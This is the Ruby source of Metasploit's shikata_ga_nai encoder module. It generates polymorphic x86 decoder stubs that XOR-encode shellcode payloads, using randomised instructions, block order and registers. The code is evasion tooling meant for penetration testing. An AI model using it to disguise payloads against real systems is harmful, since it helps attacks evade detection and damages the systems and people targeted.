metasploit-framework/modules/encoders/x86/shikata_ga_nai.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'rex/poly'
require 'msf/core'


class Metasploit3 < Msf::Encoder::XorAdditiveFeedback

  # The shikata encoder has an excellent ranking because it is polymorphic.
  # Party time, excellent!
  Rank = ExcellentRanking

  def initialize
    super(
      'Name'             => 'Polymorphic XOR Additive Feedback Encoder',
      'Description'      => %q{
        This encoder implements a polymorphic XOR additive feedback encoder.
        The decoder stub is generated based on dynamic instruction
        substitution and dynamic block ordering.  Registers are also
        selected dynamically.
      },
      'Author'           => 'spoonm',
      'Arch'             => ARCH_X86,
      'License'          => MSF_LICENSE,
      'Decoder'          =>
        {
          'KeySize'    => 4,
          'BlockSize'  => 4
        })
  end

  #
  # Generates the shikata decoder stub.
  #
  def decoder_stub(state)

    # If the decoder stub has not already been generated for this state, do
    # it now.  The decoder stub method may be called more than once.
    if (state.decoder_stub == nil)

      # Sanity check that saved_registers doesn't overlap with modified_registers
      if (modified_registers & saved_registers).length > 0
        raise BadGenerateError
      end

      # Shikata will only cut off the last 1-4 bytes of it's own end
      # depending on the alignment of the original buffer
      cutoff = 4 - (state.buf.length & 3)
      block = generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)

      # Set the state specific key offset to wherever the XORK ended up.
      state.decoder_key_offset = block.index('XORK')

      # Take the last 1-4 bytes of shikata and prepend them to the buffer
      # that is going to be encoded to make it align on a 4-byte boundary.
      state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf

      # Cache this decoder stub.  The reason we cache the decoder stub is
      # because we need to ensure that the same stub is returned every time
      # for a given encoder state.
      state.decoder_stub = block
    end

    state.decoder_stub
  end

  # Indicate that this module can preserve some registers
  def preserves_registers?
    true
  end

  # A list of registers always touched by this encoder
  def modified_registers
    # ESP is assumed and is handled through preserves_stack?
    [
      # The counter register is hardcoded
      Rex::Arch::X86::ECX,
      # These are modified by div and mul operations
      Rex::Arch::X86::EAX, Rex::Arch::X86::EDX
    ]
  end

  # Always preserve these registers in our block generation
  def preserved_registers
    ([
      # Never modify our stack pointer
      Rex::Arch::X86::ESP,
      # Never modify our counter register
      Rex::Arch::X86::ECX
      # Never modify user specified registers
    ] + saved_registers).uniq
  end

protected

  #
  # Returns the set of FPU instructions that can be used for the FPU block of
  # the decoder stub.
  #
  def fpu_instructions
    fpus = []

    0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
    0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
    0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
    0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
    0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }

    fpus << "\xd9\xd0"
    fpus << "\xd9\xe1"
    fpus << "\xd9\xf6"
    fpus << "\xd9\xf7"
    fpus << "\xd9\xe5"

    # This FPU instruction seems to fail consistently on Linux
    #fpus << "\xdb\xe1"

    fpus
  end

  #
  # Returns a polymorphic decoder stub that is capable of decoding a buffer
  # of the supplied length and encodes the last cutoff bytes of itself.
  #
  def generate_shikata_block(state, length, cutoff)
    # Declare logical registers
    count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
    addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')
    key_reg = nil

    if state.context_encoding
      key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
    else
      key_reg = Rex::Poly::LogicalRegister::X86.new('key')
    end

    # Declare individual blocks
    endb = Rex::Poly::SymbolicBlock::End.new

    # Clear the counter register
    clear_register = Rex::Poly::LogicalBlock.new('clear_register',
      "\x31\xc9",  # xor ecx,ecx
      "\x29\xc9",  # sub ecx,ecx
      "\x33\xc9",  # xor ecx,ecx
      "\x2b\xc9")  # sub ecx,ecx

    # Initialize the counter after zeroing it
    init_counter = Rex::Poly::LogicalBlock.new('init_counter')

    # Divide the length by four but ensure that it aligns on a block size
    # boundary (4 byte).
    length += 4 + (4 - (length & 3)) & 3
    length /= 4

    if (length <= 255)
      init_counter.add_perm("\xb1" + [ length ].pack('C'))
    elsif (length <= 65536)
      init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
    else
      init_counter.add_perm("\xb9" + [ length ].pack('V'))
    end

    # Key initialization block
    init_key = nil

    # If using context encoding, we use a mov reg, [addr]
    if state.context_encoding
      init_key = Rex::Poly::LogicalBlock.new('init_key',
        Proc.new { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK'})
    # Otherwise, we do a direct mov reg, val
    else
      init_key = Rex::Poly::LogicalBlock.new('init_key',
        Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK'})
    end

    xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
    add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }

    sub4 = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -4) }
    add4 = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), 4) }

    if (datastore["BufferRegister"])

      buff_reg = Rex::Poly::LogicalRegister::X86.new('buff', datastore["BufferRegister"])
      offset = (datastore["BufferOffset"] ? datastore["BufferOffset"].to_i : 0)
      if ((offset < -255 or offset > 255) and state.badchars.include? "\x00")
        raise EncodingError.new("Can't generate NULL-free decoder with a BufferOffset bigger than one byte")
      end
      mov = Proc.new { |b|
        # mov <buff_reg>, <addr_reg>
        "\x89" + (0xc0 + b.regnum_of(addr_reg) + (8 * b.regnum_of(buff_reg))).chr
      }
      add_offset = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), offset) }
      sub_offset = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -offset) }

      getpc = Rex::Poly::LogicalBlock.new('getpc')
      getpc.add_perm(Proc.new{ |b| mov.call(b) + add_offset.call(b) })
      getpc.add_perm(Proc.new{ |b| mov.call(b) + sub_offset.call(b) })

      # With an offset of less than four, inc is smaller than or the same size as add
      if (offset > 0 and offset < 4)
        getpc.add_perm(Proc.new{ |b| mov.call(b) + inc(b.regnum_of(addr_reg))*offset })
      elsif (offset < 0 and offset > -4)
        getpc.add_perm(Proc.new{ |b| mov.call(b) + dec(b.regnum_of(addr_reg))*(-offset) })
      end

      # NOTE: Adding a perm with possibly different sizes is normally
      # wrong since it will change the SymbolicBlock::End offset during
      # various stages of generation.  In this case, though, offset is
      # constant throughout the whole process, so it isn't a problem.
      getpc.add_perm(Proc.new{ |b|
        if (offset < -255 or offset > 255)
          # lea addr_reg, [buff_reg + DWORD offset]
          # NOTE: This will generate NULL bytes!
          "\x8d" + (0x80 + b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr + [offset].pack('V')
        elsif (offset > -255 and offset != 0 and offset < 255)
          # lea addr_reg, [buff_reg + byte offset]
          "\x8d" + (0x40 + b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr + [offset].pack('c')
        else
          # lea addr_reg, [buff_reg]
          "\x8d" + (b.regnum_of(buff_reg) + (8 * b.regnum_of(addr_reg))).chr
        end
      })

      # BufferReg+BufferOffset points right at the beginning of our
      # buffer, so in contrast to the fnstenv technique, we don't have to
      # sub off any other offsets.
      xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') }
      xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') }
      add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - cutoff) ].pack('c') }
      add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - 4 - cutoff) ].pack('c') }

    else
      # FPU blocks
      fpu = Rex::Poly::LogicalBlock.new('fpu',
        *fpu_instructions)

      fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
        "\xd9\x74\x24\xf4")
      fnstenv.depends_on(fpu)

      # Get EIP off the stack
      getpc = Rex::Poly::LogicalBlock.new('getpc',
        Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
      getpc.depends_on(fnstenv)

      # Subtract the offset of the fpu instruction since that's where eip points after fnstenv
      xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
      xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
      add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
      add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
    end

    # Decoder loop block
    loop_block = Rex::Poly::LogicalBlock.new('loop_block')

    loop_block.add_perm(
      Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
      Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
      Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
      Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
      Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
      Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })

    # Loop instruction block
    loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
      "\xe2\xf5")
      # In the current implementation the loop block is a constant size,
      # so really no need for a fancy calculation.  Nevertheless, here's
      # one way to do it:
      #Proc.new { |b|
      #	# loop <loop_block label>
      #	# -2 to account for the size of this instruction
      #	"\xe2" + [ -2 - b.size_of(loop_block) ].pack('c')
      #})

    # Define block dependencies
    clear_register.depends_on(getpc)
    init_counter.depends_on(clear_register)
    loop_block.depends_on(init_counter, init_key)
    loop_inst.depends_on(loop_block)

    begin
      # Generate a permutation saving the ECX, ESP, and user defined registers
      loop_inst.generate(preserved_registers, nil, state.badchars)
    rescue RuntimeError => e
      raise EncodingError
    end
  end

  # Exploit or user-supplied list of registers to preserve
  def saved_registers
    saved = []

    # Process any specified registers
    datastore['SaveRegisters'].to_s.
      strip.split(/[,\s]/).
      map    {|reg| reg.to_s.strip.upcase }.
      select {|reg| reg.length > 0        }.
      uniq.each do |reg|
        if Rex::Arch::X86.const_defined?(reg.intern)
          saved << Rex::Arch::X86.const_get(reg.intern)
        end
    end

    saved
  end

  def sub_immediate(regnum, imm)
    return "" if imm.nil? or imm == 0
    if imm > 255 or imm < -255
      "\x81" + (0xe8 + regnum).chr + [imm].pack('V')
    else
      "\x83" + (0xe8 + regnum).chr + [imm].pack('c')
    end
  end
  def add_immediate(regnum, imm)
    return "" if imm.nil? or imm == 0
    if imm > 255 or imm < -255
      "\x81" + (0xc0 + regnum).chr + [imm].pack('V')
    else
      "\x83" + (0xc0 + regnum).chr + [imm].pack('c')
    end
  end
  def inc(regnum)
    [0x40 + regnum].pack('C')
  end
  def dec(regnum)
    [0x48 + regnum].pack('C')
  end

end